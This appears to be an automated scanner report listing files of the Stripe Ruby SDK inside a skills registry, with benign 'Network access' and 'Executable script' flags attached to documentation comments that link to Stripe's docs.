packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/application_fee_refund_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/application_fee_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apps/secret_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apps_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Retrieves the current account balance, based on the authentication that was used to make the request. # For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for - Network accessline 7
# For a sample request, see [Accounting for negative balances](https://docs.stripe.com/docs/connect/account-balances#accounting-for-negative-balances).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_settings_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Retrieves balance settings for a given connected account. # Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 7
# Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 18
# Updates balance settings for a given connected account. # Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication) - Network accessline 19
# Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/balance_transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/alert_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_summary_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_balance_transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/credit_grant_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_adjustment_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_event_summary_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing/meter_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal/configuration_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal/session_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_portal_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/billing_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/charge_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 7
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 8
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 10
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 21
# This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents) - Network accessline 44
# Search for charges you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout/session_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout/session_service.rb
- Executable scriptline 1
Executable file - Network accessline 60
# Updates a Checkout Session object. # # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) - Network accessline 62
# Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/checkout_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/order_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/product_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate/supplier_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/climate_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/confirmation_token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/country_spec_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/coupon_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. - Network accessline 13
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_preview_lines_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/credit_note_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_balance_transaction_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance). - Network accessline 17
# Returns a list of transactions that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance). - Network accessline 28
# Retrieves a specific customer balance transaction that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_cash_balance_transaction_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance). - Network accessline 17
# Retrieves a specific cash balance transaction, which updated the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_funding_instructions_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_payment_method_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_payment_source_service.rb
- Executable scriptline 1
Executable file - Network accessline 8
# If the card's owner has no default card, then the new card will become the default. # However, if the owner already has a default, then it will not change. # To change the default, you should [update the customer](https://docs.str - Network accessline 10
# To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_session_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/customer_tax_id_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/dispute_service.rb
- Executable scriptline 1
Executable file - Network accessline 35
# When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d - Network accessline 37
# Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements/active_entitlement_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements/feature_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/entitlements_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/ephemeral_key_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/event_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/exchange_rate_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead. - Network accessline 19
# [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/file_link_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/file_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/account_owner_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/account_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/session_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections/transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/financial_connections_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/forwarding/request_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/forwarding_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity/verification_report_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity/verification_session_service.rb
- Executable scriptline 1
Executable file - Network accessline 7
# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 9
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Access to secretsline 22
[Credential-related source omitted] - Network accessline 24
# If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode. # # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit - Network accessline 26
# Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) - Network accessline 51
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 52
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 53
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 64
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 66
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Access to secretsline 80
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/identity_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_payment_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_rendering_template_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/invoice_service.rb
- Executable scriptline 1
Executable file - Network accessline 31
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 33
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 44
# This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice - Network accessline 55
# Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi - Network accessline 57
# Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 68
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 106
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 139
# Search for invoices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 153
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 166
# Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized), - Network accessline 168
# # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i - Network accessline 169
# If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice - Network accessline 170
# sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass - Network accessline 193
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 195
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/authorization_service.rb
- Executable scriptline 1
Executable file - Network accessline 7
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 8
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 19
# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 20
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/card_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/cardholder_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/dispute_service.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt - Network accessline 40
# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/personalization_design_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/physical_bundle_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/token_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/transaction_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/mandate_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/oauth_service.rb
- Executable scriptline 1
Executable file - Access to secretsline 26
[Credential-related source omitted] - Network accessline 54
raise AuthenticationError, "No client_id provided. (HINT: set your client_id when configuring " "your StripeClient: \"Stripe::StripeClient.new(..., client_id: <CLIENT_ID>)\"). " - Network accessline 55
"your StripeClient: \"Stripe::StripeClient.new(..., client_id: <CLIENT_ID>)\"). " \ "You can find your client_ids in your Stripe dashboard at " \ "https://dashboard.stripe.co - Network accessline 56
"You can find your client_ids in your Stripe dashboard at " \ "https://dashboard.stripe.com/account/applications/settings, " \ "after registering your account as a platform. - Network accessline 57
"https://dashboard.stripe.com/account/applications/settings, " \ - Network accessline 58
"after registering your account as a platform. See " \ "https://stripe.com/docs/connect/standalone-accounts for details, " \ "or email support@stripe.com if you have any ques - Network accessline 59
"https://stripe.com/docs/connect/standalone-accounts for details, " \
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_attempt_record_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_intent_amount_details_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_intent_service.rb
- Executable scriptline 1
Executable file - Network accessline 24
# You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing. - Network accessline 26
# After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re - Network accessline 28
# You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead. - Network accessline 41
# Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation. # # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 43
# Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later). - Network accessline 65
# # If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 66
# If the confirmation_method is automatic, payment may be attempted # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) # and the PaymentIntent's [client_secret](https://docs.stripe - Network accessline 67
# using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment) - Network accessline 68
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Network accessline 94
# Creates a PaymentIntent object. # # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 95
# # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab - Network accessline 96
# After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 100
# When you use confirm=true during creation, it's equivalent to creating # and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten - Network accessline 101
# and confirming the PaymentIntent in the same call. You can use any parameters # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply # confirm=true. - Network accessline 102
# available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply - Network accessline 114
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 115
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 116
# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 117
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 126
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 127
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 128
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 129
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 130
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 135
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 137
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 161
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Network accessline 163
# If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details. - Network accessline 174
# Search for PaymentIntents you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language). - Network accessline 192
# always requires you to confirm the PaymentIntent again. If you prefer to # update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 194
# the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_link_line_item_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_link_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_configuration_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_domain_service.rb
- Executable scriptline 1
Executable file - Network accessline 53
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 55
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 7
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 8
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 9
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 11
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 12
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 13
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 15
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 16
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 17
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 29
# Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js. - Network accessline 31
# Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A - Network accessline 64
# Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a payment method attached to a Customer, you should use [Retrieve a Customer's PaymentMethods](https://docs.stripe.com/docs/api/payment_methods/customer)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_record_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payout_service.rb
- Executable scriptline 1
Executable file - Network accessline 17
# To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error. - Network accessline 19
# If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode. # # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to - Network accessline 21
# If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/plan_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/price_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 11
# Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false. - Network accessline 27
# Search for prices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/product_feature_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/product_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/promotion_code_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_computed_upfront_line_items_service.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_line_item_service.rb
- Executable scriptline 1
Executable file
